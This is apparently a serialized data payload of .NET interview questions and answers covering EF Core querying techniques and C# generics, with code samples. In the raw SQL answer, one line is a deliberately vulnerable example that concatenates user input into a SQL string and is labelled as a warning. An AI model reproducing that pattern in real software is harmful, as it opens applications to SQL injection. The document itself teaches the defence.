in\ndevelopment to catch N+1 patterns before they reach production.\n",{"id":1543,"difficulty":96,"q":1544,"a":1545},"ef-lazy-loading","What is lazy loading in EF Core and why is it dangerous in web applications?","**Lazy loading** automatically loads navigation properties the first time they are\naccessed by issuing an additional query — convenient but dangerous in web APIs\nbecause it hides N+1 queries.\n\n```csharp\n\u002F\u002F Enable lazy loading via proxies:\n\u002F\u002F Install: dotnet add package Microsoft.EntityFrameworkCore.Proxies\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options\n        .UseSqlServer(connectionString)\n        .UseLazyLoadingProxies()); \u002F\u002F wraps entities in dynamic proxies\n\n\u002F\u002F Navigation properties must be virtual:\npublic class Order\n{\n    public int Id { get; set; }\n    public virtual Customer Customer { get; set; } \u002F\u002F loaded lazily on first access\n    public virtual ICollection\u003COrderItem> Items { get; set; } \u002F\u002F same\n}\n\n\u002F\u002F Lazy loading in a controller — silent N+1:\nvar orders = await _db.Orders.ToListAsync(); \u002F\u002F 1 query\nforeach (var o in orders)\n    Console.WriteLine(o.Customer.Name); \u002F\u002F +1 query PER ORDER — hidden!\n\n\u002F\u002F Lazy loading after DbContext is disposed:\nOrder GetOrder()\n{\n    using var db = new AppDbContext(opts);\n    return db.Orders.Find(1);\n} \u002F\u002F context disposed here\nvar order = GetOrder();\nConsole.WriteLine(order.Customer.Name); \u002F\u002F ObjectDisposedException\n\n\u002F\u002F Prefer explicit eager loading or projections:\nvar orders = await _db.Orders.Include(o => o.Customer).ToListAsync();\n```\n\n**Rule of thumb:** Disable lazy loading in web APIs. Use explicit `Include` or\nprojections so every query is visible and intentional. Lazy loading belongs only in\ndesktop or interactive applications where the context lives long enough.\n",{"id":1547,"difficulty":96,"q":1548,"a":1549},"ef-raw-sql","When and how do you execute raw SQL in EF Core?","EF Core provides raw SQL APIs for queries that LINQ can't express — full-text search,\nstored procedures, database-specific functions, and bulk operations.\n\n```csharp\n\u002F\u002F FromSqlRaw — raw SQL that returns entity rows (can compose LINQ on top):\nvar orders = await _db.Orders\n    .FromSqlRaw(\"SELECT * FROM Orders WHERE Status = {0}\", \"Pending\")\n    .Where(o => o.Total > 100)    \u002F\u002F LINQ composed on top of the raw SQL\n    .OrderBy(o => o.CreatedAt)\n    .ToListAsync();\n\n\u002F\u002F FromSqlInterpolated — safer, uses parameterized queries automatically:\nstring status = \"Pending\";\nvar orders = await _db.Orders\n    .FromSqlInterpolated($\"SELECT * FROM Orders WHERE Status = {status}\")\n    .ToListAsync();\n\n\u002F\u002F ExecuteSqlRawAsync — non-query statements (no entity return):\nint rows = await _db.Database.ExecuteSqlRawAsync(\n    \"DELETE FROM Orders WHERE CreatedAt \u003C {0} AND Status = {1}\",\n    cutoff, \"Cancelled\");\n\n\u002F\u002F ExecuteSqlInterpolatedAsync — same but parameterized via interpolation:\nawait _db.Database.ExecuteSqlInterpolatedAsync(\n    $\"UPDATE Products SET Stock = Stock - {quantity} WHERE Id = {productId}\");\n\n\u002F\u002F Calling a stored procedure that returns entities:\nvar results = await _db.Orders\n    .FromSqlRaw(\"EXEC sp_GetPendingOrders @CustomerId = {0}\", customerId)\n    .ToListAsync();\n\n\u002F\u002F SQL injection risk — NEVER string-concatenate user input:\nstring unsafe = $\"SELECT * FROM Orders WHERE Status = '{userInput}'\"; \u002F\u002F vulnerable!\n\u002F\u002F Always use parameterized overloads.\n```\n\n**Rule of thumb:** Use parameterized `FromSqlInterpolated` and\n`ExecuteSqlInterpolatedAsync` — not `Raw` variants — whenever the SQL includes any\nuser-provided values. EF Core's interpolation converts `{variable}` to DB parameters\nautomatically.\n",{"id":1551,"difficulty":104,"q":1552,"a":1553},"ef-async-queries","Why should EF Core queries always use async methods like ToListAsync?","**Async EF Core queries** (`ToListAsync`, `FirstOrDefaultAsync`, etc.) release the\nthread to the thread pool while waiting for the database, improving throughput under\nconcurrent load.\n\n```csharp\n\u002F\u002F Async — thread released to pool while DB executes:\nvar orders = await _db.Orders\n    .Where(o => o.Status == \"Pending\")\n    .ToListAsync(cancellationToken); \u002F\u002F thread free during DB wait\n\n\u002F\u002F Sync — thread blocks for the entire DB round trip:\nvar orders = _db.Orders\n    .Where(o => o.Status == \"Pending\")\n    .ToList(); \u002F\u002F thread occupied — in ASP.NET Core this wastes a thread pool slot\n\n\u002F\u002F .Result \u002F .Wait() — causes deadlocks in ASP.NET Core:\nvar orders = _db.Orders.ToListAsync().Result; \u002F\u002F potential deadlock\n\n\u002F\u002F Use CancellationToken throughout:\npublic async Task\u003CList\u003COrder>> GetPendingAsync(CancellationToken ct)\n    => await _db.Orders\n        .Where(o => o.Status == \"Pending\")\n        .AsNoTracking()\n        .ToListAsync(ct); \u002F\u002F honours request cancellation (client disconnect)\n\n\u002F\u002F Stream large result sets with AsAsyncEnumerable:\nawait foreach (var order in _db.Orders.AsAsyncEnumerable())\n{\n    await ProcessAsync(order); \u002F\u002F process one at a time — no full buffer in memory\n}\n```\n\n**Rule of thumb:** Always use `*Async` EF Core methods in ASP.NET Core and pass the\n`CancellationToken` from the action or endpoint. Sync calls waste thread pool threads\nand block under load.\n",{"id":1555,"difficulty":206,"q":1556,"a":1557},"ef-compiled-queries","What are compiled queries in EF Core and when do they give a measurable speedup?","**Compiled queries** (`EF.CompileAsyncQuery`) pre-compile the LINQ expression to SQL\nonce at startup and cache the result, skipping query translation on every call.\nUseful for hot paths called thousands of times per second.\n\n```csharp\n\u002F\u002F Standard query — translates LINQ to SQL on every call:\npublic async Task\u003COrder?> GetOrderAsync(int id)\n    => await _db.Orders.FirstOrDefaultAsync(o => o.Id == id);\n\u002F\u002F EF Core caches most queries internally, but compilation still has overhead.\n\n\u002F\u002F Compiled query — translation happens once at class initialisation:\nprivate static readonly Func\u003CAppDbContext, int, Task\u003COrder?>> GetOrderById =\n    EF.CompileAsyncQuery(\n        (AppDbContext db, int id) =>\n            db.Orders.FirstOrDefault(o => o.Id == id));\n\n\u002F\u002F Usage — no translation overhead:\nvar order = await GetOrderById(_db, id);\n\n\u002F\u002F With a collection parameter:\nprivate static readonly Func\u003CAppDbContext, IEnumerable\u003Cint>, IAsyncEnumerable\u003COrder>> GetOrdersByIds =\n    EF.CompileAsyncQuery(\n        (AppDbContext db, IEnumerable\u003Cint> ids) =>\n            db.Orders.Where(o => ids.Contains(o.Id)));\n\nawait foreach (var order in GetOrdersByIds(_db, new[] { 1, 2, 3 }))\n    Process(order);\n```\n\nWhen to use compiled queries:\n- Hot paths: endpoint called 1,000+ times\u002Fsecond where query planning overhead is measurable.\n- The query shape is fixed — no dynamic `Where` conditions or `Include` changes.\n- Profiling confirms EF's internal cache isn't enough.\n\n**Rule of thumb:** Don't reach for compiled queries prematurely. EF Core caches most\nqueries internally. Compiled queries pay off only on very hot, fixed-shape paths;\nmeasure first.\n",{"id":1559,"difficulty":96,"q":1560,"a":1561},"ef-split-queries","What are split queries in EF Core and when should you use them?","**Split queries** (`AsSplitQuery`) execute a single LINQ query as multiple SQL queries\nrather than one query with multiple JOINs, avoiding the **Cartesian explosion** that\noccurs when including multiple collections.\n\n```csharp\n\u002F\u002F Single query with multiple collection includes — Cartesian explosion:\n\u002F\u002F Orders × Items × Tags → each combination is a row; rows multiply rapidly\nvar orders = await _db.Orders\n    .Include(o => o.Items)   \u002F\u002F 10 items each\n    .Include(o => o.Tags)    \u002F\u002F 5 tags each\n    .ToListAsync();\n\u002F\u002F Generates: SELECT ... FROM Orders JOIN OrderItems JOIN Tags\n\u002F\u002F 100 orders × 10 items × 5 tags = 5,000 rows transferred\n\n\u002F\u002F Split query — 3 separate SQL statements:\nvar orders = await _db.Orders\n    .Include(o => o.Items)\n    .Include(o => o.Tags)\n    .AsSplitQuery()          \u002F\u002F 3 SQL queries: Orders, Items, Tags\n    .ToListAsync();\n\u002F\u002F Each table queried once; no Cartesian product\n\n\u002F\u002F Set split query as the global default:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(connectionString,\n        sql => sql.UseQuerySplittingBehavior(QuerySplittingBehavior.SplitQuery)));\n\n\u002F\u002F Override back to single query when needed:\nvar orders = await _db.Orders\n    .Include(o => o.Customer)    \u002F\u002F just one navigation — no explosion\n    .AsSingleQuery()\n    .ToListAsync();\n```\n\nTrade-offs of split queries:\n- **Pro:** avoids Cartesian explosion for multiple collection includes.\n- **Con:** multiple round trips — inconsistent if data changes between them.\n- **Con:** no transaction by default — wrap in one if consistency matters.\n\n**Rule of thumb:** Use `AsSplitQuery` when including two or more collections on the\nsame entity. Use single query when including only reference navigations or one collection.\n",{"id":1563,"difficulty":96,"q":1564,"a":1565},"ef-groupby-aggregations","How does EF Core translate GroupBy and aggregate functions to SQL?","EF Core translates `GroupBy` with aggregate functions (`Count`, `Sum`, `Average`,\n`Min`, `Max`) directly to `GROUP BY` SQL. Without aggregation, it falls back to\nclient-side grouping after loading all rows — a common performance trap.\n\n```csharp\n\u002F\u002F GroupBy + aggregate — translated to SQL GROUP BY:\nvar ordersByStatus = await _db.Orders\n    .GroupBy(o => o.Status)\n    .Select(g => new\n    {\n        Status = g.Key,\n        Count  = g.Count(),\n        Total  = g.Sum(o => o.Total)\n    })\n    .ToListAsync();\n\u002F\u002F SQL: SELECT Status, COUNT(*), SUM(Total) FROM Orders GROUP BY Status\n\n\u002F\u002F Multiple keys:\nvar byCustomerAndMonth = await _db.Orders\n    .GroupBy(o => new { o.CustomerId, Month = o.CreatedAt.Month })\n    .Select(g => new\n    {\n        g.Key.CustomerId,\n        g.Key.Month,\n        Count = g.Count(),\n        Revenue = g.Sum(o => o.Total)\n    })\n    .ToListAsync();\n\u002F\u002F SQL: GROUP BY CustomerId, MONTH(CreatedAt)\n\n\u002F\u002F GroupBy without aggregate — EF falls back to client evaluation:\nvar groups = await _db.Orders\n    .GroupBy(o => o.Status)\n    .ToListAsync(); \u002F\u002F SELECT * FROM Orders — loads ALL rows, groups in memory\n\u002F\u002F In EF Core 3+, this throws or warns. Always project to aggregates.\n\n\u002F\u002F HAVING clause — filter groups by aggregate:\nvar activeCustomers = await _db.Orders\n    .GroupBy(o => o.CustomerId)\n    .Where(g => g.Count() >= 5)     \u002F\u002F translated to HAVING COUNT(*) >= 5\n    .Select(g => new { CustomerId = g.Key, OrderCount = g.Count() })\n    .ToListAsync();\n```\n\n**Rule of thumb:** Always combine `GroupBy` with at least one aggregate function\n(`Count`, `Sum`, etc.) in the `Select`. Without it, EF Core 3+ either throws or\nloads the entire table into memory.\n",{"id":1567,"difficulty":104,"q":1568,"a":1569},"ef-no-tracking","What is AsNoTracking and when should you use it?","**`AsNoTracking()`** instructs EF Core to skip change tracking for a query's results.\nThe returned entities are disconnected from the context — changes to them are not\ndetected by `SaveChanges`.\n\n```csharp\n\u002F\u002F Default (tracked) — entities registered with the change tracker:\nvar order = await _db.Orders.FindAsync(42);\norder.Status = \"Shipped\";\nawait _db.SaveChangesAsync(); \u002F\u002F detects change, generates UPDATE\n\n\u002F\u002F AsNoTracking — entities are plain C# objects, no change tracker registration:\nvar orders = await _db.Orders\n    .AsNoTracking()\n    .Where(o => o.Status == \"Pending\")\n    .ToListAsync();\n\u002F\u002F Faster: no identity map lookup, no snapshot copy, lower memory\n\n\u002F\u002F AsNoTrackingWithIdentityResolution (EF Core 5+) — no tracking BUT\n\u002F\u002F returns the same object instance for the same PK within the query:\nvar orders = await _db.Orders\n    .AsNoTrackingWithIdentityResolution()\n    .Include(o => o.Customer)\n    .ToListAsync();\n\u002F\u002F Multiple orders sharing the same customer → same Customer object in memory\n\n\u002F\u002F Global default for a context (read-heavy reporting context):\npublic class ReportDbContext : DbContext\n{\n    protected override void OnConfiguring(DbContextOptionsBuilder b)\n        => b.UseQueryTrackingBehavior(QueryTrackingBehavior.NoTracking);\n}\n```\n\nBenchmarks typically show **10–20% faster query materialisation** and **lower GC\npressure** with `AsNoTracking` on large result sets.\n\n**Rule of thumb:** Add `AsNoTracking()` to every query in a read-only path (API\nGET endpoints, reports, search). Only track entities you plan to modify and save.\n",{"id":1571,"difficulty":104,"q":1572,"a":1573},"ef-pagination","How do you implement pagination with EF Core?","**Pagination** in EF Core is achieved with `.Skip()` and `.Take()` which translate\nto `OFFSET` \u002F `FETCH NEXT` (or equivalent) in SQL. Always combine with `OrderBy`\nso results are deterministic.\n\n```csharp\n\u002F\u002F Offset-based pagination — page 1 = skip 0, page 2 = skip pageSize, etc.:\npublic async Task\u003CPagedResult\u003COrderSummaryDto>> GetOrdersAsync(int page, int pageSize)\n{\n    var query = _db.Orders\n        .AsNoTracking()\n        .Where(o => o.Status == \"Pending\")\n        .OrderByDescending(o => o.CreatedAt); \u002F\u002F required — results are non-deterministic without it\n\n    var total = await query.CountAsync(); \u002F\u002F SELECT COUNT(*) — same filter\n\n    var items = await query\n        .Skip((page - 1) * pageSize) \u002F\u002F OFFSET\n        .Take(pageSize)              \u002F\u002F FETCH NEXT\n        .Select(o => new OrderSummaryDto\n        {\n            Id     = o.Id,\n            Status = o.Status,\n            Total  = o.Total\n        })\n        .ToListAsync();\n\n    return new PagedResult\u003COrderSummaryDto>(items, total, page, pageSize);\n}\n\u002F\u002F SQL: SELECT Id, Status, Total FROM Orders WHERE Status='Pending'\n\u002F\u002F      ORDER BY CreatedAt DESC OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY\n\n\u002F\u002F Keyset (cursor) pagination — faster for large offsets:\n\u002F\u002F Instead of SKIP, filter by the last seen value:\nvar items = await _db.Orders\n    .AsNoTracking()\n    .Where(o => o.CreatedAt \u003C lastSeenCreatedAt) \u002F\u002F cursor\n    .OrderByDescending(o => o.CreatedAt)\n    .Take(pageSize)\n    .ToListAsync();\n\u002F\u002F No OFFSET scan — index seek directly to the cursor position\n```\n\n**Rule of thumb:** Use offset pagination for small datasets where any page can be\njumped to. Use keyset (cursor) pagination for large tables or infinite scroll — it\nscales to millions of rows without degrading as the page number grows.\n",{"id":1575,"difficulty":104,"q":1576,"a":1577},"ef-like-contains-search","How do you perform text search (LIKE, full-text) with EF Core?","EF Core translates `.Contains()`, `.StartsWith()`, and `.EndsWith()` to SQL `LIKE`\npatterns. For full-text search, use `EF.Functions.Like` or database-specific functions.\n\n```csharp\n\u002F\u002F Contains → LIKE '%value%' (substring search — can't use an index efficiently):\nvar results = await _db.Products\n    .AsNoTracking()\n    .Where(p => p.Name.Contains(\"widget\"))\n    .ToListAsync();\n\u002F\u002F SQL: WHERE Name LIKE '%widget%'\n\n\u002F\u002F StartsWith → LIKE 'value%' (prefix — can use a B-tree index):\nvar results = await _db.Products\n    .Where(p => p.Sku.StartsWith(\"WGT-\"))\n    .ToListAsync();\n\u002F\u002F SQL: WHERE Sku LIKE 'WGT-%'\n\n\u002F\u002F EF.Functions.Like — more control over the pattern:\nvar results = await _db.Products\n    .Where(p => EF.Functions.Like(p.Name, \"%wid_et%\")) \u002F\u002F _ matches one character\n    .ToListAsync();\n\n\u002F\u002F Case-insensitive comparison (depends on DB collation; explicit on SQLite):\nvar results = await _db.Products\n    .Where(p => EF.Functions.Like(p.Name, \"%widget%\")) \u002F\u002F case-insensitive on SQL Server default collation\n\n\u002F\u002F SQL Server full-text search (requires FTS index on the column):\nvar results = await _db.Products\n    .Where(p => EF.Functions.Contains(p.Description, \"widget OR gadget\"))\n    .ToListAsync();\n\u002F\u002F SQL: WHERE CONTAINS(Description, 'widget OR gadget')\n\n\u002F\u002F Warning: never pass unvalidated user input directly into EF.Functions.Like —\n\u002F\u002F the pattern itself is parameterized, but wildcard injection is still possible:\nstring safe = $\"%{userInput.Replace(\"%\", \"[%]\").Replace(\"_\", \"[_]\")}%\";\n```\n\n**Rule of thumb:** Use `StartsWith` for prefix search on indexed columns. Use\n`Contains` sparingly — `LIKE '%value%'` causes full table scans. Use database\nfull-text search (`EF.Functions.Contains`) for production text search requirements.\n",{"id":1579,"difficulty":96,"q":1580,"a":1581},"ef-explicit-loading","What is explicit loading in EF Core and how does it differ from eager and lazy loading?","**Explicit loading** loads a navigation property on demand after the entity is already\nin memory — using `LoadAsync` on the entry's reference or collection. Unlike lazy loading\nit is intentional and visible in code; unlike eager loading it's a separate SQL round trip.\n\n```csharp\n\u002F\u002F Load the entity first (navigation not included):\nvar order = await _db.Orders.FindAsync(42); \u002F\u002F SELECT * FROM Orders WHERE Id=42\n\n\u002F\u002F Explicit load — second query, triggered intentionally:\nawait _db.Entry(order)\n         .Reference(o => o.Customer)  \u002F\u002F reference navigation (single entity)\n         .LoadAsync();\n\u002F\u002F SQL: SELECT * FROM Customers WHERE Id = @customerId\n\nawait _db.Entry(order)\n         .Collection(o => o.Items)    \u002F\u002F collection navigation\n         .LoadAsync();\n\u002F\u002F SQL: SELECT * FROM OrderItems WHERE OrderId = 42\n\n\u002F\u002F Filter the collection while loading (EF Core 5+):\nawait _db.Entry(order)\n         .Collection(o => o.Items)\n         .Query()                                  \u002F\u002F IQueryable on the collection\n         .Where(i => !i.IsCancelled)\n         .LoadAsync();\n\u002F\u002F SQL: SELECT * FROM OrderItems WHERE OrderId=42 AND IsCancelled=0\n\n\u002F\u002F Comparison:\n\u002F\u002F Eager  (Include)   — one query with JOIN, loaded before you need it\n\u002F\u002F Lazy               — automatic, invisible, N+1 risk\n\u002F\u002F Explicit (LoadAsync) — extra query, but intentional and filterable\n\n\u002F\u002F Check before loading to avoid a redundant query:\nvar entry = _db.Entry(order);\nif (!entry.Collection(o => o.Items).IsLoaded)\n    await entry.Collection(o => o.Items).LoadAsync();\n```\n\n**Rule of thumb:** Use explicit loading when you don't know at query time whether\nyou'll need the related data — for example, conditional logic that only sometimes\nneeds the collection. For always-needed data, prefer `Include` to load everything\nin one round trip.\n",{"description":94},"EF Core querying interview questions — IQueryable vs IEnumerable, eager loading, the N+1 problem, projections, raw SQL, and compiled queries.","dotnet\u002Fentity-framework\u002Fquerying","Tvzik-2CyfM3KJu1hNE7UOaK6Lki1wBDLbXGqCzNxvc",{"id":1587,"title":1588,"body":1589,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1593,"navigation":99,"order":38,"path":1594,"questions":1595,"questionsCount":163,"related":164,"seo":1656,"seoDescription":1657,"stem":1658,"subtopic":1588,"topic":20,"topicSlug":21,"updated":470,"__hash__":1659},"qa\u002Fdotnet\u002Ffundamentals\u002Fgenerics.md","Generics",{"type":91,"value":1590,"toc":1591},[],{"title":94,"searchDepth":29,"depth":29,"links":1592},[],{},"\u002Fdotnet\u002Ffundamentals\u002Fgenerics",[1596,1600,1604,1608,1612,1616,1620,1624,1628,1632,1636,1640,1644,1648,1652],{"id":1597,"difficulty":104,"q":1598,"a":1599},"what-are-generics","What are generics and why were they introduced in C# 2.0?","**Generics** let you write type-safe, reusable code where the concrete type is\nspecified by the caller, not the author. They eliminate the need for casting and\nprevent boxing\u002Funboxing for value types.\n\n```csharp\n\u002F\u002F Pre-generics (C# 1): must cast, no type safety, boxes value types\nArrayList list = new ArrayList();\nlist.Add(42);           \u002F\u002F boxes int → object\nint x = (int)list[0];  \u002F\u002F unboxes + cast — runtime error if wrong type\n\n\u002F\u002F With generics (C# 2+): type-safe, no boxing, no cast\nList\u003Cint> nums = new List\u003Cint>();\nnums.Add(42);           \u002F\u002F no boxing\nint y = nums[0];        \u002F\u002F no cast, compiler guarantees the type\n\n\u002F\u002F Generic method:\nT Max\u003CT>(T a, T b) where T : IComparable\u003CT>\n    => a.CompareTo(b) >= 0 ? a : b;\n\nConsole.WriteLine(Max(3, 7));       \u002F\u002F 7\nConsole.WriteLine(Max(\"cat\", \"dog\")); \u002F\u002F \"dog\"\n```\n\nThe CLR **reifies** generics — `List\u003Cint>` and `List\u003Cstring>` are genuinely\ndistinct types at runtime, each with their own JIT-compiled native code. This\nmeans value-type specialisations get zero-overhead native implementations.\n\n**Rule of thumb:** Prefer generics over `object` parameters, `ArrayList`, or\ncasting. One generic implementation beats N typed duplicates every time.\n",{"id":1601,"difficulty":96,"q":1602,"a":1603},"generic-constraints","What are generic type constraints in C# and what kinds exist?","**Type constraints** restrict what types a caller can substitute for a type\nparameter, unlocking members of that type inside the generic implementation.\n\n```csharp\n\u002F\u002F where T : class     — T must be a reference type\n\u002F\u002F where T : struct    — T must be a non-nullable value type\n\u002F\u002F where T : new()     — T must have a public parameterless constructor\n\u002F\u002F where T : SomeBase  — T must derive from SomeBase\n\u002F\u002F where T : ISomething — T must implement ISomething\n\u002F\u002F where T : notnull   — T must be non-nullable (C# 8+)\n\u002F\u002F where T : unmanaged — T must be an unmanaged type (C# 7.3+)\n\nclass Repository\u003CT> where T : class, new()\n{\n    public T CreateDefault() => new T(); \u002F\u002F new() constraint enables this\n}\n\nT Clamp\u003CT>(T value, T min, T max) where T : IComparable\u003CT>\n{\n    if (value.CompareTo(min) \u003C 0) return min;  \u002F\u002F CompareTo available via constraint\n    if (value.CompareTo(max) > 0) return max;\n    return value;\n}\n\nConsole.WriteLine(Clamp(15, 1, 10)); \u002F\u002F 10\n```\n\nMultiple constraints combine with commas: `where T : class, ISomething, new()`.\nYou can constrain multiple type parameters independently.\n\n**Rule of thumb:** Add constraints only when you need to call members on `T`.\nEach constraint narrows the caller's type choices — start unconstrained and\nadd constraints as the implementation demands them.\n",{"id":1605,"difficulty":206,"q":1606,"a":1607},"covariance","What is covariance in C# generics?","**Covariance** means a generic type with a more derived type argument is assignable\nto a generic type with a less derived type argument. In C#, covariance is expressed\nwith the `out` keyword on an interface or delegate type parameter.\n\n```csharp\n\u002F\u002F IEnumerable\u003CT> is covariant (out T):\nIEnumerable\u003Cstring> strings = new List\u003Cstring> { \"a\", \"b\" };\nIEnumerable\u003Cobject> objects = strings;  \u002F\u002F valid — covariance!\n\u002F\u002F A string IS-A object, so reading strings as objects is safe\n\n\u002F\u002F IReadOnlyList\u003CT> is covariant:\nIReadOnlyList\u003Cstring> strList = new List\u003Cstring> { \"x\" };\nIReadOnlyList\u003Cobject> objList = strList; \u002F\u002F valid\n\n\u002F\u002F Defining a covariant interface:\ninterface IProducer\u003Cout T>   \u002F\u002F 'out' = covariant\n{\n    T Produce();             \u002F\u002F T only appears in output position — safe\n    \u002F\u002F void Consume(T item); \u002F\u002F would break type safety — input position forbidden\n}\n```\n\nCovariance is safe because you are only **reading** values out of the container —\nthe container will always give you a `string`, and a `string` is always a valid\n`object`. Writing would be unsafe (you could insert a non-string into a\n`List\u003Cstring>` disguised as `List\u003Cobject>`).\n\n**Rule of thumb:** `out T` = covariance = the type flows **out** of the API\n(producer). Safe for read-only interfaces. Familiar examples: `IEnumerable\u003Cout T>`,\n`IReadOnlyList\u003Cout T>`, `Func\u003Cout TResult>`.\n",{"id":1609,"difficulty":206,"q":1610,"a":1611},"contravariance","What is contravariance in C# generics?","**Contravariance** is the reverse: a generic with a **less** derived type argument\nis assignable to one with a **more** derived type argument. Expressed with the `in`\nkeyword — the type parameter only appears in input (consumer) positions.\n\n```csharp\n\u002F\u002F Action\u003CT> is contravariant (in T):\nAction\u003Cobject> printObject = obj => Console.WriteLine(obj);\nAction\u003Cstring> printString = printObject;  \u002F\u002F valid — contravariance!\n\u002F\u002F If you can handle any object, you can certainly handle a string\n\nprintString(\"hello\"); \u002F\u002F works — string is passed to printObject handler\n\n\u002F\u002F IComparer\u003CT> is contravariant:\nIComparer\u003Cobject> objComparer = Comparer\u003Cobject>.Default;\nIComparer\u003Cstring> strComparer = objComparer; \u002F\u002F valid\n\n\u002F\u002F Defining a contravariant interface:\ninterface IConsumer\u003Cin T>   \u002F\u002F 'in' = contravariant\n{\n    void Consume(T item);   \u002F\u002F T only appears in input position — safe\n    \u002F\u002F T Produce();         \u002F\u002F would break type safety — output position forbidden\n}\n```\n\nThe logic: if a method can handle any `object`, it can certainly handle a `string`.\nContravariance is about **consuming** values — a handler for the base type is\nalways compatible with a handler for the derived type.\n\n**Rule of thumb:** `in T` = contravariance = the type flows **into** the API\n(consumer). Familiar examples: `Action\u003Cin T>`, `IComparer\u003Cin T>`,\n`IEqualityComparer\u003Cin T>`.\n",{"id":1613,"difficulty":96,"q":1614,"a":1615},"ienumerable-vs-icollection","What is the difference between `IEnumerable\u003CT>` and `ICollection\u003CT>` in generics?","`IEnumerable\u003CT>` is the minimal read\u002Fiterate interface. `ICollection\u003CT>` extends\nit to add count and mutation operations. Choosing the right abstraction in method\nsignatures controls what callers can pass and what you can do with the argument.\n\n```csharp\n\u002F\u002F IEnumerable\u003CT> — iterate only, no count, no add\u002Fremove\nvoid PrintAll\u003CT>(IEnumerable\u003CT> items)\n{\n    foreach (var item in items) Console.WriteLine(item); \u002F\u002F fine\n    \u002F\u002F items.Count — not available\n    \u002F\u002F items.Add(...)  — not available\n}\n\n\u002F\u002F ICollection\u003CT> — adds Count, Add, Remove, Contains, Clear\nvoid AddRange\u003CT>(ICollection\u003CT> target, IEnumerable\u003CT> source)\n{\n    foreach (var item in source) target.Add(item); \u002F\u002F Add available\n    Console.WriteLine(target.Count);               \u002F\u002F Count available\n}\n\n\u002F\u002F IList\u003CT> extends ICollection\u003CT> — adds index access\nvoid SwapFirst\u003CT>(IList\u003CT> list) { (list[0], list[1]) = (list[1], list[0]); }\n```\n\nThe interface hierarchy: `IEnumerable\u003CT>` ← `ICollection\u003CT>` ← `IList\u003CT>`.\nUse the **narrowest** interface that satisfies your needs in method parameters —\nthis maximises what callers can pass (arrays, LINQ queries, custom enumerables).\n\n**Rule of thumb:** Accept `IEnumerable\u003CT>` if you only iterate, `ICollection\u003CT>`\nif you need `Count` or mutation, `IList\u003CT>` if you need index access.\nReturn concrete types (`List\u003CT>`) so callers have the full API.\n",{"id":1617,"difficulty":96,"q":1618,"a":1619},"csharp-vs-java-generics","How do C# generics differ from Java generics?","C# generics are **reified** — the type parameter exists at runtime and each\nclosed generic type (e.g., `List\u003Cint>`, `List\u003Cstring>`) is a distinct CLR type.\nJava generics use **type erasure** — type parameters are removed at compile time\nand replaced with `Object` (or the bound type), leaving only one class at runtime.\n\n```csharp\n\u002F\u002F C# — type parameters survive to runtime:\nvar list = new List\u003Cint>();\nConsole.WriteLine(list.GetType().Name);           \u002F\u002F \"List`1\"\nConsole.WriteLine(list.GetType().GenericTypeArguments[0]); \u002F\u002F System.Int32\n\n\u002F\u002F C# — value type specialisation: List\u003Cint> uses int[] internally, no boxing\nvar ints = new List\u003Cint> { 1, 2, 3 }; \u002F\u002F zero boxing\n\n\u002F\u002F C# — can use typeof on generic params:\nvoid Print\u003CT>() => Console.WriteLine(typeof(T).Name);\nPrint\u003CDateTime>(); \u002F\u002F \"DateTime\"\n\n\u002F\u002F Java equivalent would erase T → Object at runtime\n\u002F\u002F Java: new ArrayList\u003CInteger>() has no Integer info at runtime\n\u002F\u002F Java: no specialised ArrayList\u003Cint> — autoboxing to Integer always required\n```\n\nConsequences of C# reification: `typeof(T)` works inside generics, `is T` checks\nare valid, value-type specialisations avoid boxing, and you get distinct JIT code\nper value-type argument. The cost is larger compiled output for many value-type\nspecialisations.\n\n**Rule of thumb:** C# generics are more powerful and more efficient for value\ntypes than Java generics. Use `typeof(T)` and `default(T)` freely in C# — these\nhave no Java equivalent without reflection hacks.\n",{"id":1621,"difficulty":96,"q":1622,"a":1623},"default-t","What is `default(T)` and when would you use it?","`default(T)` returns the **default value** for type `T`: `0` for numeric types,\n`false` for `bool`, `null` for reference types, and zero-initialised for structs.\nIt is the only way to get a valid zero\u002Fnull for an unknown type parameter.\n\n```csharp\nT GetValueOrDefault\u003CT>(Dictionary\u003Cstring, T> dict, string key)\n{\n    return dict.TryGetValue(key, out T? value) ? value : default(T);\n    \u002F\u002F If T is int  → returns 0\n    \u002F\u002F If T is bool → returns false\n    \u002F\u002F If T is string → returns null\n}\n\n\u002F\u002F C# 7.1+: 'default' literal (type inferred from context)\nT[] CreateArray\u003CT>(int length)\n{\n    var arr = new T[length]; \u002F\u002F already zero\u002Fdefault initialised\n    return arr;\n}\n\n\u002F\u002F Useful in generic algorithms:\nT Min\u003CT>(T[] arr) where T : IComparable\u003CT>\n{\n    T min = default!; \u002F\u002F non-null assertion needed with nullable ref types\n    bool first = true;\n    foreach (var item in arr)\n    {\n        if (first || item.CompareTo(min) \u003C 0) { min = item; first = false; }\n    }\n    return min;\n}\n```\n\n**Rule of thumb:** Use `default(T)` or the `default` literal when you need a\n\"zero\" starting value for a type parameter — it is the generic equivalent of\nwriting `0`, `false`, or `null` for concrete types.\n",{"id":1625,"difficulty":96,"q":1626,"a":1627},"generic-delegates","What are the built-in generic delegates `Action\u003CT>`, `Func\u003CT>`, and `Predicate\u003CT>`?","These BCL delegates cover the vast majority of generic callback needs without\nrequiring custom delegate declarations.\n\n```csharp\n\u002F\u002F Action\u003CT...> — takes up to 16 params, returns void\nAction\u003Cstring> print = s => Console.WriteLine(s);\nAction\u003Cint, int> add = (a, b) => Console.WriteLine(a + b);\nprint(\"hello\");   \u002F\u002F \"hello\"\nadd(2, 3);        \u002F\u002F 5\n\n\u002F\u002F Func\u003CT..., TResult> — takes up to 16 params, returns TResult\nFunc\u003Cint, int, int> multiply = (a, b) => a * b;\nFunc\u003Cstring, int>   parse    = int.Parse;\nConsole.WriteLine(multiply(3, 4)); \u002F\u002F 12\n\n\u002F\u002F Predicate\u003CT> — exactly Func\u003CT, bool>, used in List\u003CT>.Find etc.\nPredicate\u003Cint> isEven = n => n % 2 == 0;\nvar nums = new List\u003Cint> { 1, 2, 3, 4 };\nConsole.WriteLine(nums.FindIndex(isEven)); \u002F\u002F 1\n\n\u002F\u002F LINQ uses Func throughout — these three delegate types compose naturally:\nvar evens = nums.Where(isEven.Invoke).Select(n => n * 10).ToList();\n```\n\n`Predicate\u003CT>` is literally `Func\u003CT, bool>` — they are separate types only for\nhistorical API compatibility (`List\u003CT>` predates LINQ). You can convert 